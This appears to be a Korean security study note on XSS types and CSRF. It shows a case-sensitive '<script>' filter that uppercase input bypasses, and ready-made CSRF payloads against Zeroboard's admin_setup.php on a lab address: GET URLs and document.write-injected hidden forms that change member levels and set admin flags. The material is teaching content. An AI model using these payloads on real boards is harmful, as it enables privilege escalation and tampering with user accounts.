XSS 종류 및 차단 방법( 입력값 검증 ) / CSRF( Cross Site Request Forgery ) 취약점에 대해서 정리한다.
XSS 종류
1). stored XSS
- 게시글, 쪽지, 회원정보, ...
2). reflected XSS
- 입력값이 그대로 되돌아오면서 스크립트가 실행
- 링크: shorten url을 이용해서 script를 감추는 방법
1. 기존의 보안 방식
1). 솔루션의 이용: 방화벽, 웹 방화벽, IPS, IDS, 백신, ...
- 가장 오래된 전통적인 보안 방식
- 완벽하진 않지만 최소한의 보안을 위해서 사용한다..
( 예를 들어 우리가 집에서 나올때 현관문을 잠그고 나오는 것과 비슷한 개념이라고 보면 된다 )
2). 보안 패치
! 일반적인 개발 과정
기획 -> 설계 -> 구현 -> 배포 -> 유지보수
! 시큐어 코딩
- 개발 과정 전체에서 보안 취약점을 없애는 개발 방식
XSS 차단: 게시글의 본문
- 입력값 검증
"<script>"
!! 입력값 검증을 한다고 해도 완벽하지 않다.
( 예를 들면 문자열 매칭을 통한 입력값 검증을 할때 대문자나 소문자로 우회가 가능해진다 )
( 간단한 입력값 검증이지만 시큐어 코딩이라는게 어떤것인지를 이해하기 위해서 입력값 검증을 만들어 봤다.. )
( 위 입력값 검증은 <script> 문자가 들어있으면 게시글 작성을 못하지만 <SCRIPT>와 같이 대문자를 이용하거나
해당 검증 문자와 대소문자가 하나라도 다르다면 다른 문자로 인식해서 우회가 가능하다.. )
1. 클라이언트측 언어를 이용한 취약점: javascript, html
1). CSRF( Cross Site Request Forgery )
- 교차 사이트 요청 위조
- html 태그를 이용한 방법
- XSS 공격의 변종 기법중의 하나
2). 소스분석을 통한 입력값 확인
1)). GET
- 소스 코드 분석으로 얻어낸 정보
/zboard/admin_setup.php
page=1
group_no=1
exec=view_member
page_num=10
exec2=moveall
cart[]=2
movelevel=1
- GET 방식으로 보내는 데이터
/zboard/admin_setup.php?page=1&group_no=1&exec=view_member&page_num=10&exec2=moveall&cart[]=2&movelevel=1
( 웹 해킹을 하기 전에는 항상 해당 페이지에 대한 소스 분석이 선행 되어야 하고
눈에 보이는 부분에만 집중하면 안된다!!! )
( GET 방식을 이용할때 데이터를 보내는 방법은 일반 GET 방식과 동일하고 여기서 중요한건
소스 분석을 통해서 전송 버튼을 눌렀을때 어떤 데이터가 어떻게 전달되는지를 알아내는게 중요하다!! )
( GET 방식으로 데이터를 보내주면 원하는 레벨로 사용자의 레벨이 변경이 된걸 확인 할 수 있다 )
2)). POST
- 소스 코드 분석으로 얻어낸 정보를 가지고 데이터 전송을 위한 폼 만들기
<form method=POST action='http://192.168.12.100/zboard/admin_setup.php'>
<input type=hidden name=page value=1>
<input type=hidden name=group_no value=1>
<input type=hidden name=exec value=view_member>
<input type=hidden name=page_num value=10>
<input type=hidden name=exec2 value=moveall>
<input type=hidden name=cart[] value=2>
<input type=hidden name=movelevel value=5>
<input type=submit>
</form>
- POST 방식으로 보내는 데이터
document.write("<form method=POST action='http://192.168.12.100/zboard/admin_setup.php'><input type=hidden name=page value=1><input type=hidden name=group_no value=1><input type=hidden name=exec value=view_member><input type=hidden name=page_num value=10><input type=hidden name=exec2 value=moveall><input type=hidden name=cart[] value=2><input type=hidden name=movelevel value=3><input type=submit>");
( 제로보드에서는 POST 방식으로 진행 할때는 관리자 메인 페이지에서 진행을 해야 오류가 나지 않고 정상적으로 실행이 된다 )
( 이 부분을 잘 생각해보면 해당 페이지에 회원 권한에 따라서 버튼을 없앤다고해서 정보 변조에 안전하다고 볼수 없다... )
( 위와 같이 POST 방식으로도 해당 폼 버튼이 없다고해도 회원의 정보를 변경 할 수 있는걸 알 수 있다.. )
!! 다만, 여기서 회원 정보를 바꿀 수 있었던 이유는 관리자 아이디로 로그인이 되어있기 때문에
서버로부터 해당 세션으로 관리자 인증을 했기 때문에 관리자 권한을 사용할 수 있었다는점을 기억해야한다.
!! 그렇다면 여기서 관리자 권한으로 어떻게 해당 요청을 보낼수 있는지를 생각해봐야 한다.
- modify 페이지 CSRF
1)). GET
- 소스 코드 분석을 통해 얻어낸 정보
/zboard/admin_setup.php
exec=view_member
exec2=modify_member_ok
group_no=1
member_no=2
page=1
keyword=
level=1
name="sc"
is_admin=1
email="none"
homepage="http://none"
icq=
mailing=1
openinfo=1
comment=
- GET 방식으로 보내는 데이터
/zboard/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2&page=1&keyword=&level=1&name=1&is_admin=1&email="none"&homepage="http://none"&icq=&mailing=1&openinfo=1&comment=
2)). POST
- 소스 코드 분석을 통해 얻어낸 정보
<form method=POST action='http://192.168.12.100/zboard/admin_setup.php'>
<input type=hidden name=exec value=view_member>
<input type=hidden name=exec2 value=modify_member_ok>
<input type=hidden name=group_no value=1>
<input type=hidden name=member_no value=2>
<input type=hidden name=page value=1>
<input type=hidden name=keyword>
<input type=hidden name=level value=3>
<input type=hidden name=name value='sc'>
<input type=hidden name=is_admin value=2>
<input type=hidden name=email value='none'>
<input type=hidden name=homepage value='http://none'>
<input type=hidden name=icq>
<input type=hidden name=mailing value=1>
<input type=hidden name=openinfo value=1>
<input type=hidden name=comment>
<input type=submit>
</form>
- POST 방식으로 보내는 데이터
document.write("<form method=POST action='http://192.168.12.100/zboard/admin_setup.php'><input type=hidden name=exec value=view_member><input type=hidden name=exec2 value=modify_member_ok><input type=hidden name=group_no value=1><input type=hidden name=member_no value=2><input type=hidden name=page value=1><input type=hidden name=keyword><input type=hidden name=level value=1><input type=hidden name=name value='sc'><input type=hidden name=is_admin value=1><input type=hidden name=email value='none'><input type=hidden name=homepage value='http://none'><input type=hidden name=icq><input type=hidden name=mailing value=1><input type=hidden name=openinfo value=1><input type=hidden name=comment><input type=submit>");
댓글